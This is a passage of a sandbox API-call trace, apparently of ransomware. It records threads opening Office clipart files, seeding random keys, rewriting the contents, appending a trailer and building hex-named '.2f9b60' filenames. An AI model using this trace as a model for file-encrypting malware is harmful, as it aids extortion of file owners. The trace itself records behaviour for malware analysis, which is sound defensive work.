out: lpBuffer=0x423ad2b0*, lpNumberOfBytesWritten=0x27f5f9b0*=0x10a, lpOverlapped=0x0) returned 1 [0163.891] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce191d0 [0163.891] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce5b830 [0163.892] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f3bb0 [0163.892] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f3bb0) returned 1 [0163.892] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82d080 [0163.892] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f3bb0 [0163.892] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f3b80 [0163.893] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f3b80) returned 1 [0163.893] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5b830) returned 1 [0163.893] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce191d0) returned 1 [0163.893] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1b7d7f80 [0163.894] sprintf (in: _Dest=0x1b7d7f80, _Format="%c%c" | out: _Dest="51") returned 2 [0163.894] sprintf (in: _Dest=0x1b7d7f82, _Format="%c%c" | out: _Dest="39") returned 2 [0163.894] sprintf (in: _Dest=0x1b7d7f84, _Format="%c%c" | out: _Dest="3d") returned 2 [0163.894] sprintf (in: _Dest=0x1b7d7f86, _Format="%c%c" | out: _Dest="7e") returned 2 [0163.894] sprintf (in: _Dest=0x1b7d7f88, _Format="%c%c" | out: _Dest="ad") returned 2 [0163.894] sprintf (in: _Dest=0x1b7d7f8a, _Format="%c%c" | out: _Dest="58") returned 2 [0163.894] sprintf (in: _Dest=0x1b7d7f8c, _Format="%c%c" | out: _Dest="8e") returned 2 [0163.894] sprintf (in: _Dest=0x1b7d7f8e, _Format="%c%c" | out: _Dest="0a") returned 2 [0163.894] sprintf (in: _Dest=0x1b7d7f90, _Format="%c%c" | out: _Dest="6d") returned 2 [0163.894] sprintf (in: _Dest=0x1b7d7f92, _Format="%c%c" | out: _Dest="94") returned 2 [0163.894] sprintf (in: _Dest=0x1b7d7f94, _Format="%c%c" | out: _Dest="f3") returned 2 [0163.894] sprintf (in: _Dest=0x1b7d7f96, _Format="%c%c" | out: _Dest="dd") returned 2 [0163.894] sprintf (in: _Dest=0x1b7d7f98, _Format="%c%c" | out: _Dest="b3") returned 2 [0163.894] sprintf (in: _Dest=0x1b7d7f9a, _Format="%c%c" | out: _Dest="61") returned 2 [0163.894] sprintf (in: _Dest=0x1b7d7f9c, _Format="%c%c" | out: _Dest="a1") returned 2 [0163.894] sprintf (in: _Dest=0x1b7d7f9e, _Format="%c%c" | out: _Dest="54") returned 2 [0163.894] sprintf (in: _Dest=0x1b7d7fa0, _Format="%c%c" | out: _Dest="4c") returned 2 [0163.894] sprintf (in: _Dest=0x1b7d7fa2, _Format="%c%c" | out: _Dest="98") returned 2 [0163.894] sprintf (in: _Dest=0x1b7d7fa4, _Format="%c%c" | out: _Dest="c2") returned 2 [0163.894] sprintf (in: _Dest=0x1b7d7fa6, _Format="%c%c" | out: _Dest="a0") returned 2 [0163.894] sprintf (in: _Dest=0x1b7d7fa8, _Format="%c%c" | out: _Dest="8b") returned 2 [0163.894] sprintf (in: _Dest=0x1b7d7faa, _Format="%c%c" | out: _Dest="4d") returned 2 [0163.894] sprintf (in: _Dest=0x1b7d7fac, _Format="%c%c" | out: _Dest="95") returned 2 [0163.894] sprintf (in: _Dest=0x1b7d7fae, _Format="%c%c" | out: _Dest="bf") returned 2 [0163.894] RtlInitAnsiString (in: DestinationString=0x27f5fa28, SourceString="51393d7ead588e0a6d94f3ddb361a1544c98c2a08b4d95bf" | out: DestinationString="51393d7ead588e0a6d94f3ddb361a1544c98c2a08b4d95bf") [0163.894] RtlAnsiStringToUnicodeString (in: DestinationString=0x27f5f9f8, SourceString="51393d7ead588e0a6d94f3ddb361a1544c98c2a08b4d95bf", AllocateDestinationString=1 | out: DestinationString="51393d7ead588e0a6d94f3ddb361a1544c98c2a08b4d95bf") returned 0x0 [0163.894] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x203fa120 [0163.895] RtlFreeAnsiString (AnsiString="5") [0163.895] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7d7f80) returned 1 [0163.895] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82d080) returned 1 [0163.896] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f3bb0) returned 1 [0163.896] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423ad2b0) returned 1 [0163.896] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a6830) returned 1 [0163.896] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a6860) returned 1 [0163.896] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a6800) returned 1 [0163.896] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a67d0) returned 1 [0163.897] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f3b50) returned 1 [0163.897] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f3c10) returned 1 [0163.897] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f3c40) returned 1 [0163.897] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8e) returned 0x4230db00 [0163.897] wcscat (in: _Dest=0x4230db00, _Source="51393d7ead58" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\51393d7ead58") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\51393d7ead58" [0163.897] wcscat (in: _Dest=0x4230db00, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\51393d7ead58.2f9b60") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\51393d7ead58.2f9b60" [0163.897] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\51393d7ead58.2f9b60", NtPathName=0x27f5f9d0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\51393d7ead58.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0163.897] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xac) returned 0x42c2a450 Thread: id = 2353 os_tid = 0x1d28 [0149.932] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01176_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01176_.wmf")) returned 0x20 [0149.932] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01176_.WMF", dwFileAttributes=0x20) returned 1 [0149.933] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01176_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01176_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x21a0 [0149.933] GetFileSizeEx (in: hFile=0x21a0, lpFileSize=0x28b8f740 | out: lpFileSize=0x28b8f740*=1888) returned 1 [0149.933] SetFilePointerEx (in: hFile=0x21a0, liDistanceToMove=0x75c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.933] ReadFile (in: hFile=0x21a0, lpBuffer=0x28b8f6c0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x28b8f708, lpOverlapped=0x0 | out: lpBuffer=0x28b8f6c0*, lpNumberOfBytesRead=0x28b8f708*=0x4, lpOverlapped=0x0) returned 1 [0149.935] SetFilePointerEx (in: hFile=0x21a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.935] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050f490 [0149.935] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f3be0 [0149.936] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f3c70 [0149.936] NtQuerySystemTime (in: CurrentTime=0x28b8f600 | out: CurrentTime=0x28b8f600*=132462177551494000) returned 0x0 [0149.936] RtlRandomEx (in: Seed=0x28b8f5f0 | out: Seed=0x28b8f5f0) returned 0x2ca66816 [0149.936] RtlRandomEx (in: Seed=0x28b8f5f0 | out: Seed=0x28b8f5f0) returned 0x7fc006e1 [0149.936] RtlRandomEx (in: Seed=0x28b8f5f0 | out: Seed=0x28b8f5f0) returned 0x78f56c14 [0149.936] RtlRandomEx (in: Seed=0x28b8f5f0 | out: Seed=0x28b8f5f0) returned 0x2b046c11 [0149.936] RtlRandomEx (in: Seed=0x28b8f5f0 | out: Seed=0x28b8f5f0) returned 0x240e70d6 [0149.936] RtlRandomEx (in: Seed=0x28b8f5f0 | out: Seed=0x28b8f5f0) returned 0x1a2f4ed [0149.936] RtlRandomEx (in: Seed=0x28b8f5f0 | out: Seed=0x28b8f5f0) returned 0x29bc045 [0149.936] RtlRandomEx (in: Seed=0x28b8f5f0 | out: Seed=0x28b8f5f0) returned 0x149b67fc [0149.936] RtlRandomEx (in: Seed=0x28b8f5f0 | out: Seed=0x28b8f5f0) returned 0x30c1aa95 [0149.936] RtlRandomEx (in: Seed=0x28b8f5f0 | out: Seed=0x28b8f5f0) returned 0xa43775e [0149.936] RtlRandomEx (in: Seed=0x28b8f5f0 | out: Seed=0x28b8f5f0) returned 0x7567cd88 [0149.936] RtlRandomEx (in: Seed=0x28b8f5f0 | out: Seed=0x28b8f5f0) returned 0x74658c53 [0149.936] RtlRandomEx (in: Seed=0x28b8f5f0 | out: Seed=0x28b8f5f0) returned 0x7b59fc2 [0149.936] RtlRandomEx (in: Seed=0x28b8f5f0 | out: Seed=0x28b8f5f0) returned 0x1b2a05af [0149.936] RtlRandomEx (in: Seed=0x28b8f5f0 | out: Seed=0x28b8f5f0) returned 0x48077a49 [0149.936] RtlRandomEx (in: Seed=0x28b8f5f0 | out: Seed=0x28b8f5f0) returned 0x21a2f097 [0149.936] RtlRandomEx (in: Seed=0x28b8f5f0 | out: Seed=0x28b8f5f0) returned 0x4cf71197 [0149.936] RtlRandomEx (in: Seed=0x28b8f5f0 | out: Seed=0x28b8f5f0) returned 0x62c6c64f [0149.936] RtlRandomEx (in: Seed=0x28b8f5f0 | out: Seed=0x28b8f5f0) returned 0x608beba5 [0149.936] RtlRandomEx (in: Seed=0x28b8f5f0 | out: Seed=0x28b8f5f0) returned 0x3f1ea35d [0149.936] RtlRandomEx (in: Seed=0x28b8f5f0 | out: Seed=0x28b8f5f0) returned 0x612f35bc [0149.936] RtlRandomEx (in: Seed=0x28b8f5f0 | out: Seed=0x28b8f5f0) returned 0x6dbe4f7a [0149.936] RtlRandomEx (in: Seed=0x28b8f5f0 | out: Seed=0x28b8f5f0) returned 0x292d1af0 [0149.936] RtlRandomEx (in: Seed=0x28b8f5f0 | out: Seed=0x28b8f5f0) returned 0x76fc10b2 [0149.936] RtlRandomEx (in: Seed=0x28b8f5f0 | out: Seed=0x28b8f5f0) returned 0x6ba51edb [0149.937] RtlRandomEx (in: Seed=0x28b8f5f0 | out: Seed=0x28b8f5f0) returned 0x2b578a98 [0149.937] RtlRandomEx (in: Seed=0x28b8f5f0 | out: Seed=0x28b8f5f0) returned 0x58715cbf [0149.937] RtlRandomEx (in: Seed=0x28b8f5f0 | out: Seed=0x28b8f5f0) returned 0x1a282928 [0149.937] RtlRandomEx (in: Seed=0x28b8f5f0 | out: Seed=0x28b8f5f0) returned 0x2376f261 [0149.937] RtlRandomEx (in: Seed=0x28b8f5f0 | out: Seed=0x28b8f5f0) returned 0x2c528279 [0149.937] RtlRandomEx (in: Seed=0x28b8f5f0 | out: Seed=0x28b8f5f0) returned 0x28b8bd7f [0149.937] RtlRandomEx (in: Seed=0x28b8f5f0 | out: Seed=0x28b8f5f0) returned 0x187e1716 [0149.945] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f3ca0 [0149.946] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce5a930 [0149.946] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f3cd0 [0149.946] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5a930) returned 1 [0149.946] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f3c70) returned 1 [0149.947] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050f490) returned 1 [0149.947] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059bf0 [0149.947] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce5a930 [0149.947] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050f490 [0149.947] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050f490) returned 1 [0149.947] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x423cc580 [0149.947] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x423d0190 [0149.947] ReadFile (in: hFile=0x21a0, lpBuffer=0x423cc580, nNumberOfBytesToRead=0x760, lpNumberOfBytesRead=0x28b8f5f0, lpOverlapped=0x0 | out: lpBuffer=0x423cc580*, lpNumberOfBytesRead=0x28b8f5f0*=0x760, lpOverlapped=0x0) returned 1 [0149.947] SetFilePointerEx (in: hFile=0x21a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.948] WriteFile (in: hFile=0x21a0, lpBuffer=0x423d0190*, nNumberOfBytesToWrite=0x760, lpNumberOfBytesWritten=0x28b8f5f4, lpOverlapped=0x0 | out: lpBuffer=0x423d0190*, lpNumberOfBytesWritten=0x28b8f5f4*=0x760, lpOverlapped=0x0) returned 1 [0161.953] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a6890 [0161.954] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a68c0 [0161.954] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a68c0) returned 1 [0161.954] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423d0190) returned 1 [0161.954] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423cc580) returned 1 [0161.954] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5a930) returned 1 [0161.955] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059bf0) returned 1 [0161.955] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x423a68c0 [0161.955] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059bf0 [0161.955] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce5a930 [0161.955] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a68f0 [0161.956] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a68f0) returned 1 [0161.956] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x423a68f0 [0161.956] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a6920 [0161.956] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a6950 [0161.956] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a6950) returned 1 [0161.957] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5a930) returned 1 [0161.957] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059bf0) returned 1 [0161.957] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x10a) returned 0x423ad3d0 [0161.957] SetFilePointerEx (in: hFile=0x21a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0161.957] WriteFile (in: hFile=0x21a0, lpBuffer=0x423ad3d0*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x28b8f710, lpOverlapped=0x0 | out: lpBuffer=0x423ad3d0*, lpNumberOfBytesWritten=0x28b8f710*=0x10a, lpOverlapped=0x0) returned 1 [0163.899] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce191d0 [0163.899] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce5b830 [0163.899] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f3c40 [0163.900] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f3c40) returned 1 [0163.900] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82d080 [0163.900] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f3c40 [0163.900] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f3c10 [0163.900] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f3c10) returned 1 [0163.901] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5b830) returned 1 [0163.901] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce191d0) returned 1 [0163.901] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1b7d7f80 [0163.901] sprintf (in: _Dest=0x1b7d7f80, _Format="%c%c" | out: _Dest="35") returned 2 [0163.901] sprintf (in: _Dest=0x1b7d7f82, _Format="%c%c" | out: _Dest="59") returned 2 [0163.901] sprintf (in: _Dest=0x1b7d7f84, _Format="%c%c" | out: _Dest="f7") returned 2 [0163.901] sprintf (in: _Dest=0x1b7d7f86, _Format="%c%c" | out: _Dest="b4") returned 2 [0163.901] sprintf (in: _Dest=0x1b7d7f88, _Format="%c%c" | out: _Dest="ef") returned 2 [0163.901] sprintf (in: _Dest=0x1b7d7f8a, _Format="%c%c" | out: _Dest="dc") returned 2 [0163.901] sprintf (in: _Dest=0x1b7d7f8c, _Format="%c%c" | out: _Dest="63") returned 2 [0163.901] sprintf (in: _Dest=0x1b7d7f8e, _Format="%c%c" | out: _Dest="09") returned 2 [0163.901] sprintf (in: _Dest=0x1b7d7f90, _Format="%c%c" | out: _Dest="3e") returned 2 [0163.901] sprintf (in: _Dest=0x1b7d7f92, _Format="%c%c" | out: _Dest="75") returned 2 [0163.901] sprintf (in: _Dest=0x1b7d7f94, _Format="%c%c" | out: _Dest="81") returned 2 [0163.901] sprintf (in: _Dest=0x1b7d7f96, _Format="%c%c" | out: _Dest="f2") returned 2 [0163.901] sprintf (in: _Dest=0x1b7d7f98, _Format="%c%c" | out: _Dest="ab") returned 2 [0163.901] sprintf (in: _Dest=0x1b7d7f9a, _Format="%c%c" | out: _Dest="9a") returned 2 [0163.901] sprintf (in: _Dest=0x1b7d7f9c, _Format="%c%c" | out: _Dest="a1") returned 2 [0163.901] sprintf (in: _Dest=0x1b7d7f9e, _Format="%c%c" | out: _Dest="da") returned 2 [0163.901] sprintf (in: _Dest=0x1b7d7fa0, _Format="%c%c" | out: _Dest="b8") returned 2 [0163.902] sprintf (in: _Dest=0x1b7d7fa2, _Format="%c%c" | out: _Dest="14") returned 2 [0163.902] sprintf (in: _Dest=0x1b7d7fa4, _Format="%c%c" | out: _Dest="01") returned 2 [0163.902] sprintf (in: _Dest=0x1b7d7fa6, _Format="%c%c" | out: _Dest="3e") returned 2 [0163.902] sprintf (in: _Dest=0x1b7d7fa8, _Format="%c%c" | out: _Dest="9f") returned 2 [0163.902] sprintf (in: _Dest=0x1b7d7faa, _Format="%c%c" | out: _Dest="b5") returned 2 [0163.902] sprintf (in: _Dest=0x1b7d7fac, _Format="%c%c" | out: _Dest="31") returned 2 [0163.902] sprintf (in: _Dest=0x1b7d7fae, _Format="%c%c" | out: _Dest="b4") returned 2 [0163.902] RtlInitAnsiString (in: DestinationString=0x28b8f788, SourceString="3559f7b4efdc63093e7581f2ab9aa1dab814013e9fb531b4" | out: DestinationString="3559f7b4efdc63093e7581f2ab9aa1dab814013e9fb531b4") [0163.902] RtlAnsiStringToUnicodeString (in: DestinationString=0x28b8f758, SourceString="3559f7b4efdc63093e7581f2ab9aa1dab814013e9fb531b4", AllocateDestinationString=1 | out: DestinationString="3559f7b4efdc63093e7581f2ab9aa1dab814013e9fb531b4") returned 0x0 [0163.902] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x203fa190 [0163.902] RtlFreeAnsiString (AnsiString="3") [0163.903] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7d7f80) returned 1 [0163.903] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82d080) returned 1 [0163.903] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f3c40) returned 1 [0163.903] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423ad3d0) returned 1 [0163.903] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a68f0) returned 1 [0163.904] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a6920) returned 1 [0163.904] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a68c0) returned 1 [0163.904] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a6890) returned 1 [0163.904] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f3be0) returned 1 [0163.904] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f3ca0) returned 1 [0163.905] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f3cd0) returned 1 [0163.905] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8e) returned 0x4230dba0 [0163.905] wcscat (in: _Dest=0x4230dba0, _Source="3559f7b4efdc" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\3559f7b4efdc") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\3559f7b4efdc" [0163.905] wcscat (in: _Dest=0x4230dba0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\3559f7b4efdc.2f9b60") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\3559f7b4efdc.2f9b60" [0163.905] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\3559f7b4efdc.2f9b60", NtPathName=0x28b8f730, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\3559f7b4efdc.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0163.905] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xac) returned 0x42c2a510 Thread: id = 2354 os_tid = 0x1d2c [0149.949] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01178_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01178_.wmf")) returned 0x20 [0149.950] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01178_.WMF", dwFileAttributes=0x20) returned 1 [0149.950] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01178_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01178_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x21a4 [0149.951] GetFileSizeEx (in: hFile=0x21a4, lpFileSize=0x25c7f9c0 | out: lpFileSize=0x25c7f9c0*=3796) returned 1 [0149.951] SetFilePointerEx (in: hFile=0x21a4, liDistanceToMove=0xed0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.951] ReadFile (in: hFile=0x21a4, lpBuffer=0x25c7f940, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x25c7f988, lpOverlapped=0x0 | out: lpBuffer=0x25c7f940*, lpNumberOfBytesRead=0x25c7f988*=0x4, lpOverlapped=0x0) returned 1 [0149.952] SetFilePointerEx (in: hFile=0x21a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.952] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050f490 [0149.953] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f3c70 [0149.953] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f3d00 [0149.953] NtQuerySystemTime (in: CurrentTime=0x25c7f880 | out: CurrentTime=0x25c7f880*=132462177551650000) returned 0x0 [0149.953] RtlRandomEx (in: Seed=0x25c7f870 | out: Seed=0x25c7f870) returned 0xf865a1e [0149.953] RtlRandomEx (in: Seed=0x25c7f870 | out: Seed=0x25c7f870) returned 0x13122e59 [0149.953] RtlRandomEx (in: Seed=0x25c7f870 | out: Seed=0x25c7f870) returned 0x598b0ce2 [0149.953] RtlRandomEx (in: Seed=0x25c7f870 | out: Seed=0x25c7f870) returned 0x5bbf8d95 [0149.953] RtlRandomEx (in: Seed=0x25c7f870 | out: Seed=0x25c7f870) returned 0x70a30661 [0149.953] RtlRandomEx (in: Seed=0x25c7f870 | out: Seed=0x25c7f870) returned 0x68f97ae4 [0149.953] RtlRandomEx (in: Seed=0x25c7f870 | out: Seed=0x25c7f870) returned 0x2fe8b9bb [0149.953] RtlRandomEx (in: Seed=0x25c7f870 | out: Seed=0x25c7f870) returned 0x35b6e013 [0149.953] RtlRandomEx (in: Seed=0x25c7f870 | out: Seed=0x25c7f870) returned 0x24beee88 [0149.953] RtlRandomEx (in: Seed=0x25c7f870 | out: Seed=0x25c7f870) returned 0x628ac719 [0149.953] RtlRandomEx (in: Seed=0x25c7f870 | out: Seed=0x25c7f870) returned 0x1baf9d97 [0149.953] RtlRandomEx (in: Seed=0x25c7f870 | out: Seed=0x25c7f870) returned 0x6975b345 [0149.953] RtlRandomEx (in: Seed=0x25c7f870 | out: Seed=0x25c7f870) returned 0x17052671 [0149.953] RtlRandomEx (in: Seed=0x25c7f870 | out: Seed=0x25c7f870) returned 0x15b964db [0149.953] RtlRandomEx (in: Seed=0x25c7f870 | out: Seed=0x25c7f870) returned 0xe97805e [0149.953] RtlRandomEx (in: Seed=0x25c7f870 | out: Seed=0x25c7f870) returned 0x11864f62 [0149.953] RtlRandomEx (in: Seed=0x25c7f870 | out: Seed=0x25c7f870) returned 0x9cfd91f [0149.953] RtlRandomEx (in: Seed=0x25c7f870 | out: Seed=0x25c7f870) returned 0x39300f2 [0149.953] RtlRandomEx (in: Seed=0x25c7f870 | out: Seed=0x25c7f870) returned 0x33bf2169 [0149.953] RtlRandomEx (in: Seed=0x25c7f870 | out: Seed=0x25c7f870) returned 0x3162eb87 [0149.953] RtlRandomEx (in: Seed=0x25c7f870 | out: Seed=0x25c7f870) returned 0x60d364d [0149.953] RtlRandomEx (in: Seed=0x25c7f870 | out: Seed=0x25c7f870) returned 0x2976c916 [0149.954] RtlRandomEx (in: Seed=0x25c7f870 | out: Seed=0x25c7f870) returned 0x51defda4 [0149.954] RtlRandomEx (in: Seed=0x25c7f870 | out: Seed=0x25c7f870) returned 0x5779f542 [0149.954] RtlRandomEx (in: Seed=0x25c7f870 | out: Seed=0x25c7f870) returned 0x5787ec9c [0149.954] RtlRandomEx (in: Seed=0x25c7f870 | out: Seed=0x25c7f870) returned 0x1db25995 [0149.954] RtlRandomEx (in: Seed=0x25c7f870 | out: Seed=0x25c7f870) returned 0x7de64d62 [0149.954] RtlRandomEx (in: Seed=0x25c7f870 | out: Seed=0x25c7f870) returned 0x7e140aac [0149.954] RtlRandomEx (in: Seed=0x25c7f870 